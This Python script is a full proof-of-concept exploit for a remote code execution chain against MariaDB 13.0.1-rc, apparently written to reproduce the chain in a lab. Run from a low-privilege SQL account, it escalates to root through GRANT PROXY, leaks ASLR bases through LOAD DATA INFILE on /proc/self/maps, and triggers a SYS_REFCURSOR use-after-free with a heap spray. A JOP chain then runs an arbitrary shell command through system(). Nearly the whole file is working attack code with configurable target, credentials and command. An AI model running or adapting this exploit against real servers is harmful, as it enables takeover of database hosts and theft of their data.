#!/usr/bin/env python3
"""
MariaDB 13.0.1-rc RCE - PURE SQL variant (no host helpers, no /proc/mem writes).

Current-run reproduction of the chain published at
https://github.com/dinosn/mariadb-13-rce-lab (commit 6ac868e1), adapted only in
the /proc/self/maps region-discovery logic:

  The stock exploit expects the 128 MiB @fake buffer to appear as a maps region
  of EXACTLY 0x8001000 bytes.  On this kernel the kernel VMA merger sometimes
  folds the fresh mmap into an adjacent pre-existing anonymous region (observed
  merged sizes 0x8022000 and double-region 0x10002000).  This variant tracks
  ALL anonymous rw-p regions before/after the allocation and accepts
    (a) brand-new region starts (fake buffer at the low end - top-down mmap),
    (b) pre-existing regions that GREW by >= 0x8001000 (fake merged on top).
  DATA_OFF (0x30), REGION_SIZE (0x8001000), all gadget offsets and the whole
  F-09/F-05/JOP chain are unchanged from the published PoC and were verified
  against the pinned image in THIS run (see bundle/logs/repro/).

Chain (all SQL through TCP/3306, low-priv account only):
  1. F-09  GRANT PROXY ... IDENTIFIED VIA ''   -> any user becomes full DBA
  2. LOAD DATA INFILE '/proc/self/maps'        -> PIE base + libc base
  3. 128 MiB user var buffer (@fake)           -> dedicated glibc mmap
  4. F-05  SYS_REFCURSOR UAF + heap spray      -> controlled vtable pointer V
  5. JOP   result->prepare() -> D2 -> D1 -> system(cmd)
"""
import argparse, re, select, struct, subprocess, sys, time

D2_OFF  = 0x80da77   # PIE: call *0x100(%rax)     - verified in pinned image
D1_OFF  = 0xe3075b   # PIE: mov rdi,[rax+0xa8]; call [rax+0xa0]  - verified
SYS_OFF = 0x5c560    # libc: system()             - verified

FAKE_SIZE   = 134217728          # 128 MiB -> dedicated mmap
REGION_SIZE = FAKE_SIZE + 4096   # observed region size (0x8001000)
DATA_OFF    = 0x30               # verified via gdb scan in this run
PAD_OFF     = 4096               # V = data_start + PAD_OFF
E3PAD_LEN   = 1784               # exact-fit reclaim blob for 16x112=1792B chunk
SENTINEL    = "<<SENTINEL>>"

MARIADB = "mariadb"  # or "mysql"


def qw(v):
    return struct.pack("<Q", v)


class Session:
    """Persistent SQL session driven via the mariadb client stdin, with
    sentinel-based result reading."""

    def __init__(self, host, port, user, password, database, force=True):
        cmd = ["stdbuf", "-oL", MARIADB, "-h", host, "-P", str(port), "-u", user]
        if password:
            cmd += ["-p" + password]
        cmd += [database, "-N", "--binary-mode", "--batch"]
        if force:
            cmd.append("--force")
        if not password:
            cmd.append("--skip-password")
        self.proc = subprocess.Popen(
            cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
            stderr=subprocess.PIPE)
        self._buf = b""
        time.sleep(0.8)

    def send(self, sql, timeout=120):
        if not sql.rstrip().endswith(";"):
            sql += ";"
        self.proc.stdin.write((sql + f"\nSELECT '{SENTINEL}';\n").encode())
        self.proc.stdin.flush()
        deadline = time.time() + timeout
        out = b""
        while SENTINEL.encode() not in out:
            remaining = deadline - time.time()
            if remaining <= 0:
                raise TimeoutError(f"no sentinel within {timeout}s; got: {out[-2000:]!r}")
            ready, _, _ = select.select([self.proc.stdout], [], [], remaining)
            if not ready:
                raise TimeoutError(f"no sentinel within {timeout}s; got: {out[-2000:]!r}")
            chunk = self.proc.stdout.readline()
            if not chunk:
                err = self.proc.stderr.read().decode(errors="replace")
                raise RuntimeError(f"sql session died: {err[:500]}")
            out += chunk
        lines = out.decode(errors="replace").splitlines()
        return [l for l in lines if l.strip() != SENTINEL]

    def close(self):
        try:
            self.proc.stdin.close()
            self.proc.kill()
        except Exception:
            pass


def one_shot(host, port, user, password, database, sql, timeout=60):
    cmd = ["stdbuf", "-oL", MARIADB, "-h", host, "-P", str(port), "-u", user]
    if password:
        cmd += ["-p" + password]
    cmd += [database, "-N", "--binary-mode", "--batch", "--force", "-e", sql]
    if not password:
        cmd.append("--skip-password")
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
    return r.stdout.splitlines()


def parse_range(line):
    m = re.match(r"([0-9a-f]+)-([0-9a-f]+)", line)
    return int(m.group(1), 16), int(m.group(2), 16)


def load_maps(s, table):
    s.send(f"TRUNCATE TABLE appdb.{table};")
    s.send(f"LOAD DATA INFILE '/proc/self/maps' INTO TABLE appdb.{table};")


def get_base(s, table, path, offset="00000000"):
    rows = s.send(
        f"SELECT l FROM appdb.{table} "
        f"WHERE l LIKE '%r--p {offset}%{path}' LIMIT 1;")
    if not rows:
        return None
    start, _ = parse_range(rows[0])
    return start


def get_anon_regions(s, table):
    """Return {start: size} for ALL anonymous rw-p regions."""
    q = ("SELECT l FROM appdb.%s "
         "WHERE l LIKE '%%rw-p 00000000 00:00%%'" % table)
    out = {}
    for r in s.send(q):
        a, b = parse_range(r)
        out[a] = b - a
    return out


def find_fake_candidates(s):
    """Diff maps_pre vs maps_post and return candidate START addresses of the
    128 MiB @fake buffer (start of its mmap; data lives at +DATA_OFF)."""
    load_maps(s, "maps_post")
    pre = get_anon_regions(s, "maps_pre")
    post = get_anon_regions(s, "maps_post")
    cands = []
    for st, sz in sorted(post.items()):
        if sz < REGION_SIZE:
            continue
        if st not in pre:
            # brand-new VMA: under top-down mmap the fresh buffer occupies the
            # low end (possibly merged with a smaller region above it)
            cands.append(st)
        elif sz > pre.get(st, 0) and sz - pre[st] >= REGION_SIZE:
            # pre-existing VMA grew: fresh buffer merged on top of it
            cands.append(st + pre[st])
    return cands


def layout_hex(d2, d1, sys_addr, v, command):
    cmd = b"sh -c '" + command.encode() + b"'\x00"
    seg = bytearray()
    seg += b"\xde" * 0x20
    seg += qw(d2)
    seg += b"\xde" * (0xa0 - 0x20 - 8)
    seg += qw(sys_addr)
    seg += qw(v + 0x140)
    seg += b"\xde" * (0x100 - 0xa8 - 8)
    seg += qw(d1)
    seg += b"\xde" * (0x140 - 0x100 - 8)
    seg += cmd
    while len(seg) % 8:
        seg += b"\xde"
    return seg.hex(), len(seg)


def main():
    ap = argparse.ArgumentParser(description="MariaDB 13.0.1 pure-SQL RCE (repro)")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=3306)
    ap.add_argument("--user", default="lowpriv")
    ap.add_argument("--password", default="lowpriv")
    ap.add_argument("--command", default="id > /tmp/pwned")
    ap.add_argument("--marker", default="/tmp/pwned")
    ap.add_argument("--container", default="mariadb-rce-lab",
                    help="used ONLY for post-exploit marker verification")
    ap.add_argument("--no-docker-read", action="store_true",
                    help="do not use docker to read the marker; just report session death")
    args = ap.parse_args()

    CMD = args.command
    MARKER = args.marker

    print("[*] MariaDB 13.0.1-rc RCE - PURE SQL variant (lowpriv account only)")
    print(f"[*] Target: {args.user}@{args.host}:{args.port}  command: {CMD}")

    # ---- negative control: lowpriv cannot read server files without F-09 ----
    out = one_shot(args.host, args.port, args.user, args.password, "appdb",
                   "LOAD DATA INFILE '/proc/self/maps' INTO TABLE appdb.no_such;")
    print(f"[*] control: lowpriv LOAD DATA INFILE w/o F-09 -> {out[:1]} (expected error/empty)")

    # ---- Step 1: F-09 privilege escalation (as the low-priv user) ----
    print("[*] Step 1: F-09 GRANT PROXY privilege escalation (lowpriv -> root)")
    out = one_shot(args.host, args.port, args.user, args.password, "appdb",
                   "GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA '';"
                   "GRANT PROXY ON CURRENT_USER() TO 'root'@'localhost' IDENTIFIED VIA '';"
                   "SELECT 'F09_OK';")
    if "F09_OK" not in out:
        print("[-] F-09 escalation failed")
        sys.exit(1)
    out = one_shot(args.host, args.port, "root", "", "appdb", "SELECT CURRENT_USER();")
    print(f"[+] F-09 done - root login with EMPTY password: CURRENT_USER()={out}")

    # ---- Step 2: raise max_allowed_packet so a 128 MiB user var is possible ----
    one_shot(args.host, args.port, "root", "", "appdb",
             "SET GLOBAL max_allowed_packet = 268435456;")

    # ---- Step 3: persistent root session (inherits 256 MiB packet) ----
    s = Session(args.host, args.port, "root", "", "appdb")
    s.send("SET @@max_open_cursors = 1000;")
    s.send("SET @@max_sp_recursion_depth = 50;")
    s.send("DROP TABLE IF EXISTS appdb.maps_pre;"
           "DROP TABLE IF EXISTS appdb.maps_post;"
           "CREATE TABLE appdb.maps_pre (l TEXT);"
           "CREATE TABLE appdb.maps_post (l TEXT);")

    # ---- Step 4: create the UAF trigger functions (BEFORE the JOP buffer) ----
    print("[*] Step 2: creating spray128 / grow5 / uaf5 (F-05 UAF trigger)")
    spray_vars = ", ".join(f"@e3s{i:03d}=@e3pad" for i in range(128))
    sizes = [560, 624, 680, 744, 808, 872, 936, 1000, 1064, 1128,
             1192, 1256, 1320, 1384, 1448, 1512, 1576, 1640, 1704,
             1720, 1744, 1768]
    decoy_allocs = "".join(
        f"  SET {', '.join(f'@e3d{rnd}_{i:02d} = REPEAT(0x41, {s})' for i, s in enumerate(sizes))};\n"
        for rnd in range(3))
    decoy_frees = "".join(
        f"  SET {', '.join(f'@e3d{rnd}_{i:02d}=NULL' for i in range(len(sizes)))};\n"
        for rnd in range(3))
    cursors = "abcdefghijklmno"
    decls = "\n".join(f"  DECLARE {c} SYS_REFCURSOR;" for c in cursors) + \
            "\n  DECLARE p SYS_REFCURSOR;"
    opens = "\n".join(f"  OPEN {c} FOR SELECT 1;" for c in cursors)

    s.send(f"DELIMITER $$\n"
           f"CREATE OR REPLACE FUNCTION spray128() RETURNS INT\n"
           f"BEGIN\n  SET {spray_vars};\n  RETURN 1;\nEND$$\n"
           f"CREATE OR REPLACE FUNCTION grow5() RETURNS INT\n"
           f"BEGIN\n{decls}\n{opens}\n{decoy_allocs}{decoy_frees}"
           f"  OPEN p FOR SELECT spray128();\n  RETURN 1;\nEND$$\n"
           f"CREATE OR REPLACE PROCEDURE uaf5()\n"
           f"BEGIN\n"
           f"  DECLARE c1 SYS_REFCURSOR;\n"
           f"  DECLARE v INT;\n"
           f"  OPEN c1 FOR SELECT grow5();\n"
           f"  FETCH c1 INTO v;\n"
           f"  CLOSE c1;\n"
           f"END$$\nDELIMITER ;", timeout=180)
    print("[+] functions created")

    # ---- Step 5: ASLR bases from /proc/self/maps ----
    print("[*] Step 3: reading /proc/self/maps from SQL (ASLR defeat)")
    load_maps(s, "maps_pre")
    pie = get_base(s, "maps_pre", "mariadbd")
    libc = get_base(s, "maps_pre", "libc.so.6")
    if not pie or not libc:
        print("[-] ASLR leak failed (PIE=%s libc=%s)" % (hex(pie or 0), hex(libc or 0)))
        sys.exit(1)
    d2, d1, sys_addr = pie + D2_OFF, pie + D1_OFF, libc + SYS_OFF
    print(f"[+] PIE base  0x{pie:x}")
    print(f"[+] libc base 0x{libc:x}")
    print(f"[+] D2=0x{d2:x}  D1=0x{d1:x}  system=0x{sys_addr:x}")

    # ---- Step 6: allocate 128 MiB marker buffer, discover its address ----
    print("[*] Step 4: allocating 128 MiB @fake marker buffer")
    s.send(f"SET @fake = REPEAT(CHAR(0xDE), {FAKE_SIZE});")
    cands = find_fake_candidates(s)
    if len(cands) != 1:
        print(f"[-] expected exactly 1 candidate region, got {[hex(c) for c in cands]}")
        sys.exit(1)
    region = cands[0]
    v = region + DATA_OFF + PAD_OFF
    print(f"[+] @fake region 0x{region:x}  V (fake vtable) = 0x{v:x}")

    # ---- Step 7: write full JOP layout into @fake; verify slot reuse ----
    print("[*] Step 5: writing JOP layout via SQL (self-reference baked) ...")
    hexstr, seglen = layout_hex(d2, d1, sys_addr, v, CMD)
    filler = FAKE_SIZE - PAD_OFF - seglen
    for attempt in range(5):
        s.send(f"SET @fake = CONCAT(REPEAT(CHAR(0xDE), {PAD_OFF}), "
               f"UNHEX('{hexstr}'), REPEAT(CHAR(0xDE), {filler}));")
        cands = find_fake_candidates(s)
        if len(cands) != 1:
            print(f"[-] candidate count {len(cands)} during layout write")
            sys.exit(1)
        v2 = cands[0] + DATA_OFF + PAD_OFF
        if v2 == v:
            print(f"[+] slot stable: V = 0x{v:x} (self-reference consistent)")
            break
        print(f"[!] buffer moved 0x{v:x} -> 0x{v2:x}, re-baking self-reference")
        hexstr, seglen = layout_hex(d2, d1, sys_addr, v2, CMD)
        v = v2
    else:
        print("[-] could not converge on a stable buffer address")
        sys.exit(1)

    # ---- Step 8: reclaim payload with V at offset 0x20 ----
    pad = bytearray(E3PAD_LEN)
    struct.pack_into("<Q", pad, 0x20, v)
    s.send(f"SET @e3pad = UNHEX('{pad.hex()}');")
    print(f"[+] reclaim payload ready (V=0x{v:x} at offset 0x20)")

    # ---- Step 9: fire ----
    print()
    print("[*] ============ FIRING (CALL uaf5) ============")
    try:
        s.send("CALL uaf5();", timeout=10)
        print("[*] server survived the call (unexpected)")
    except (TimeoutError, RuntimeError, BrokenPipeError, OSError) as e:
        print(f"[*] session died as expected after RCE: {str(e)[:80]}")
    try:
        s.close()
    except Exception:
        pass

    # ---- Step 10: proof of execution ----
    print(f"[*] waiting for marker {MARKER} ...")
    time.sleep(2)
    if args.no_docker_read:
        return
    for attempt in range(3):
        subprocess.run(["docker", "start", args.container],
                       capture_output=True, text=True)
        time.sleep(6)
        try:
            r = subprocess.run(
                ["docker", "exec", args.container, "cat", MARKER],
                capture_output=True, text=True, timeout=10)
            if r.returncode == 0 and r.stdout.strip():
                print(f"[+] {MARKER}: {r.stdout.strip()}")
                if "uid=" in r.stdout:
                    print()
                    print("[+] ===========================================")
                    print("[+]  RCE CONFIRMED (pure SQL, lowpriv account)")
                    print("[+] ===========================================")
                return
        except Exception:
            pass
    print("[-] marker not found")
    sys.exit(1)


if __name__ == "__main__":
    main()
